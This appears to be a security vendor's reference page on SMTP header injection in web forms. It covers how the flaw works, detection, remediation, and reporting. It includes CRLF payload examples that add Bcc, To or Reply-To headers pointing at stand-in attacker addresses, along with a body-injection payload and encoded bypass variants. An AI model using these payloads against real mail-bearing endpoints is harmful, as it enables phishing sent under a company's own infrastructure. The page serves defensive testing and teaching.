Vulnerability

SMTP Header Injection
detect, understand, remediate

SMTP injection turns a contact form, signup confirmation, or password reset endpoint into an attacker-controlled mail relay. By injecting carriage return and line feed sequences into a user-controlled field that ends up in an email header, an attacker adds extra recipients, replaces the subject, rewrites the From address, or drops a fully-formed message body that the application sends from its own infrastructure. The vulnerability lives in the mail-building step, not in the mail server.

No credit card required. Free plan available forever.

Severity

High

CWE ID

CWE-93

OWASP Top 10

A03:2021 - Injection

CVSS 3.1 Score

7.5

What is SMTP injection?

SMTP injection (also called email header injection or mail header injection) is a class of injection vulnerability where attacker-controlled input is concatenated into the headers of an outbound email without sanitisation. Email headers are separated by carriage return and line feed pairs (the same two-byte sequence at the heart of CRLF injection). When a contact form, signup confirmation, password reset, or feedback endpoint accepts a value (typically the user email or subject), inserts it into a header, and the value contains a CRLF followed by a forged header, the application sends a different message than the developer intended. Extra recipients, replaced subjects, rewritten From and Reply-To addresses, and entirely new bodies are all in scope.

The classification is CWE-93 (Improper Neutralisation of CRLF Sequences) applied to the SMTP context. It sits next to HTTP CRLF injection, host header injection, and password reset poisoning in the family of header-construction failures. The mail server is rarely the broken component. The break is in the application code that builds the headers from user input and hands them to the mail API.

The business impact is wider than it first looks. The attacker is not merely sending themselves a malformed email; they are using the application as a sender. Mail leaves the company SMTP infrastructure with the company DKIM signature, the company SPF record, and the company From address. From the recipient perspective, the message is from the company. This is why open-relay-through-web-form findings show up regularly on phishing investigations: the attacker did not compromise the mail server, they exploited a contact form that did not strip newlines.

How SMTP injection works in practice

1

Find a mail-bearing endpoint

Contact forms, signup confirmations, password reset triggers, share-this-page features, support ticket creation, and any endpoint that produces an outbound email are candidates. Each one likely accepts at least one user-controlled field that ends up in a header.

2

Map fields to headers

The user email field usually flows into From, Reply-To, or Return-Path. The subject field flows into Subject. The name field sometimes flows into From-display-name. Anything that ends up in the header block, including hidden fields, is a potential injection point.

3

Inject CRLF plus a header

The attacker submits a value containing a literal carriage return (\r) and line feed (\n) followed by a forged header. URL-encoded as %0d%0a, JSON-encoded as \r\n, or already raw if the field accepts multiline input. The injected header lands in the outbound message exactly as written.

4

Confirm delivery to a sink

The attacker uses an email address they control as the injected recipient (often a Bcc target so the original recipient does not see it). When the sink receives the message, the loop closes: the application sent attacker-controlled mail from its own infrastructure. Headers and the raw message can be inspected to confirm the injection point.

Common payload shapes

Each pattern below is the minimum payload the tester should walk before declaring a mail-bearing endpoint safe. The fields that appear safe (the email field that already has format validation) are often the most exploitable, because the validator allows the @ sign and a TLD but does not strip newlines.

PatternMinimal payload shapeWhat it changes in the outbound mail
Bcc injectionvictim@app.example\r\nBcc: attacker@evil.exampleA blind copy lands in the attacker inbox without the original recipient seeing it. The classic open-relay-through-web-form payload.
Extra To recipientadmin@app.example\r\nTo: attacker@evil.exampleAdds a visible recipient. Useful when the application logs only the original recipient and a To header inspection on the gateway would not flag the message.
Subject replacementOrder confirmation\r\nSubject: PhishingHeaders later in the block win on most parsers. The subject seen by the recipient is the injected one, not the application default.
From or Reply-To rewriteuser@app.example\r\nReply-To: attacker@evil.exampleReplies to the injected address rather than the company address. Phishing-style use case where the message looks legitimate but routes responses to the attacker.
Body injection via blank lineattacker@evil.example\r\nContent-Type: text/html\r\n\r\n<html>...new body...</html>Two consecutive CRLFs end the header block and start a new body. The attacker controls the entire message body, including HTML, links, and any tracking pixels.
Encoded CRLF (bypass attempts)%0d%0a, \u000d\u000a, &#13;&#10;Different layers decode different ways. A filter that strips literal \\r\\n may pass a URL-encoded variant that the next layer decodes back into the dangerous sequence.

Where the vulnerability really lives

SMTP injection sits in the mail-construction step inside the application. Four mistakes account for almost every finding on a real engagement. Each one is a property of how the code builds headers, not a property of the mail server or the SMTP protocol itself.

Direct concatenation into headers

The classic shape: $headers = "From: " . $_POST["email"] . "\r\n"; mail($to, $subject, $body, $headers); The input flows untouched into the header. Any newline in $_POST["email"] becomes a header break.

Untrusted input in the to argument

mail() and similar APIs in older PHP versions, plus a long tail of language-specific mailer libraries, treat the recipient field as a comma-separated list. A newline plus a comma, or a newline plus a header name, splits the recipient in ways the developer did not anticipate.

Validators that check format but not control characters

A regex that confirms the @ sign and a TLD will accept user@domain.com plus a CRLF plus a forged header. Email format validation is not header-injection prevention, and developers regularly conflate them.

Library APIs that pass headers as raw strings

Mailer libraries that accept headers as a single string parameter (rather than a structured field map) push the responsibility for newline handling onto the caller. When the caller does not strip newlines, the library faithfully sends whatever the caller asked for.

A worked example: the contact form

A common shape on engagements is a marketing site contact form that accepts a name, an email, and a message, and sends the message to a generic team alias from the company SMTP infrastructure. The implementation builds the From header from the user-supplied email so the team can reply directly. The validator confirms the email field looks like an email; it does not check for newlines.

# Vulnerable handler (Python pseudocode)
def handle_contact(name, email, message):
    headers = (
        "From: " + email + "\r\n"
        "Reply-To: " + email + "\r\n"
        "Subject: New contact from " + name + "\r\n"
    )
    smtp.sendmail("noreply@app.example", "team@app.example", headers + "\r\n" + message)

# Attacker submits:
#   name  = "Alice"
#   email = "alice@evil.example\r\nBcc: spam-list@evil.example"
#
# The outbound mail carries an extra Bcc header that the
# application code never wrote. The mail leaves with the
# company SPF and DKIM, so the recipient mail server treats
# it as legitimate company mail.

The fix in this shape is structured: parse the email through a strict address parser (RFC 5322 compliant, rejects control characters by default), or strip every CRLF and every Unicode line separator before concatenation. The wrong fix is a custom regex; mail-related bypasses defeat regex-based newline stripping with regularity (encoded forms, double encoding, Unicode line separators, vertical tab smuggling). On a SecPortal engagement, the proof of impact is the captured outbound message header block showing the injected Bcc, plus the email received at the tester sink, plus the CVSS vector calibrated to the data the attacker can extract from a sender-impersonating message. The request, the headers, and the resulting mail stay attached to the finding through retest.

How to detect SMTP injection

Automated detection

  • The authenticated scanner probes mail-bearing endpoints with CRLF payloads (literal, URL-encoded, double-encoded) on every input field that is plausibly used in outbound mail. Endpoint discovery includes contact, signup, password reset, share-this, support ticket creation, and any endpoint that returns a confirmation message.
  • Out-of-band confirmation is the strongest signal. The scanner injects a recipient address that lands in a tester-controlled inbox or webhook. When the inbox or webhook fires, the injection is confirmed without needing to inspect the response page.
  • The code scanner flags concatenation patterns into mail API calls (mail(), Mail::send, smtplib.sendmail, transport.sendMail and equivalents) where any input segment is not passed through a header-safe encoder. SCA dependency scanning surfaces older mailer library versions where header injection bypasses have been published as CVEs and patched in later releases.
  • Header-injection scanner modules also cover encoded variants (Unicode line separator U+2028, U+2029, vertical tab, NEL) so a filter that strips ASCII CRLF but not Unicode line breaks does not produce a false-clean signal.

Manual testing

  • Inventory every endpoint that produces outbound mail. The tell on a black-box engagement is any flow that ends with the application sending a confirmation, a notification, or a reply. Map each input field to a candidate header (email field to From, name to display name, subject to Subject, message to body).
  • For each candidate, submit a value with %0d%0a followed by a Bcc to a tester-controlled inbox. If the inbox receives a copy, the injection is confirmed. Walk URL-encoded, double-encoded, JSON-escaped, and Unicode line separator variants before declaring a field safe.
  • Inspect the raw headers of the received mail. The injected Bcc, the rewritten From, and any extra Reply-To are visible in the message source. Capture the full message header block as evidence: it shows that the company infrastructure sent the attacker-controlled headers under the company DKIM signature.
  • Test the body-injection variant with two consecutive CRLFs followed by a Content-Type override and an HTML body. The tester sink will receive a message that looks visually unrelated to the original confirmation. This is the worst case from a phishing perspective.
  • For password reset and signup flows specifically, walk both the email field (header position) and any token-bearing field (body position). Header injection on the password reset email is one of the highest-impact variants, sitting next to password reset poisoning as a delivery vehicle for account takeover.

How to fix SMTP injection

Use a structured mailer API, not raw header strings

Modern mailer libraries (Symfony Mailer, Nodemailer, Python email package, ActionMailer, MailKit, javax.mail) accept structured fields: addTo(), setSubject(), setReplyTo(). Each method validates the field against the relevant RFC and rejects control characters before serialisation. Migrating off raw-string mail() into a structured API removes the entire injection class for that endpoint.

Validate addresses through a strict RFC 5322 parser

A regex that matches @ and a TLD is not an address validator. A real parser (the one the mailer library uses internally, or a vetted library like email_validator in Python or sane-email-validation in JavaScript) rejects control characters, unicode line separators, multi-line inputs, and most encoded smuggling shapes by construction.

Strip control characters at the boundary, not at the sink

Where structured APIs are not available, normalise input at the API boundary by replacing every \r, \n, and Unicode line separator (U+0085 NEL, U+2028 LS, U+2029 PS) with a single space, before any further processing. Sink-time stripping leaves time for intermediate functions to reintroduce the dangerous bytes. Boundary-time stripping is the cleaner contract.

Reject input that contains control characters rather than sanitise

For fields with a small expected character set (email addresses, names, subjects), the conservative rule is to reject any value that contains a control character outside the small allow list. Logging the rejected payload to a security event stream gives the operations team a signal for active probing.

Pin the recipient list server-side

Where the use case allows, the recipient list lives in server configuration, not in a request field. Contact forms send to a fixed team alias; signup confirmations send to the user record on file, retrieved server-side from the user ID rather than from a form field; password reset sends to the registered email on the account, not to whatever the password reset request says.

Audit every mail API call for direct user input concatenation

A grep for sendmail, mail(, smtplib, Mail::send, ActionMailer.deliver, javax.mail.Transport.send across the codebase is usually enough to find the long tail. Every call site where a user-controlled field is concatenated into a header argument is a candidate for the structured-API migration.

Use SPF, DKIM, and DMARC alignment to limit downstream impact

These do not prevent injection, but they bound how far an injected message can travel. A DMARC record with a reject policy, plus DKIM alignment that signs the From domain, plus SPF that limits the sending IPs, makes any spoofed envelope harder to deliver. Defence in depth, not primary defence.

Reporting an SMTP injection finding

SMTP injection findings get disputed in two ways. Engineering pushes back that the contact form is low-traffic and out of scope for active testing, or that the email field already has format validation. The strongest reports name the exact endpoint, show the request payload, include the raw headers of the message received at the tester sink (including the company DKIM signature on attacker-injected content), and quantify the abuse capacity (recipients per request, content per request, rate limits).

On a SecPortal engagement, the finding sits on the engagement record with the affected mail-bearing endpoint, the request payload, the captured mail header block, the tester sink delivery proof, the CVSS 3.1 vector calibrated to the impersonation scope, the CWE-93 mapping, and the remediation guidance from this page. Pentest engagement records keep the original payload, the served bytes, and the received mail attached to the finding so the retest verification references the same artefacts that proved the original break. The finding triage workflow covers how to separate scanner-derived flags (a CRLF probe that returned a 500) from manually validated findings (a confirmed delivery to a tester sink) so the report differentiates rule hits from confirmed exploits, and the pentest report writing guide covers how to phrase the business impact for a non-technical reader who needs to understand why a contact form is the same risk class as an open mail relay.

Compliance impact

A pentester checklist for SMTP injection

The list below is the minimum coverage a tester should walk before declaring a mail-bearing endpoint safe. Each item maps to a specific finding shape, with a CVSS profile that reflects the data the attacker can move through the company SMTP infrastructure.

  • Inventory every endpoint that produces outbound mail: contact, signup, password reset, share-this, support ticket creation, invitation, and any flow that ends with a confirmation email. Treat each one as a candidate header-injection sink until proven otherwise.
  • For each endpoint, identify which fields end up in headers (email, name, subject) versus which fields end up in the body. The header fields are the high-value targets; the body fields are still candidates for the body-injection variant via two-CRLF blank-line separation.
  • Walk the encoding ladder: literal \\r\\n, URL-encoded %0d%0a, double-encoded %250d%250a, JSON-escaped \\u000d\\u000a, HTML-encoded , and Unicode line separators U+2028 and U+2029. A field that strips one form often passes another.
  • Confirm impact out of band. The proof is mail received at a tester-controlled sink, not a 200 response from the application. Capture the raw message header block including DKIM-Signature and Authentication-Results, because they are evidence the message left under the company sending posture.
  • Quantify the abuse capacity. How many recipients can be added per request? How long can the injected body be? Is there a rate limit on the form? Each answer changes the CVSS Confidentiality, Integrity, and the business impact narrative in the report.
  • Test password reset and signup flows specifically. Header injection on a password reset email rises to account-takeover-adjacent severity because the message lands in a recipient inbox under the company DKIM signature with a reset link the attacker can manipulate.
  • Record the CVSS vector calibrated to the impersonation scope (Integrity: High when the attacker can rewrite the body and From; Lower when only Bcc is reachable), the CWE-93 mapping, the affected endpoint, the encoded variant that broke through, and the remediation plan covering structured API migration, RFC 5322 parsing, or boundary-level CRLF rejection.

Catch SMTP injection before the contact form becomes an open relay

SecPortal probes email-bearing endpoints with CRLF and header-injection payloads, captures the resulting mail headers as evidence, and keeps the request and response attached to the finding through retest. Start free.

No credit card required. Free plan available forever.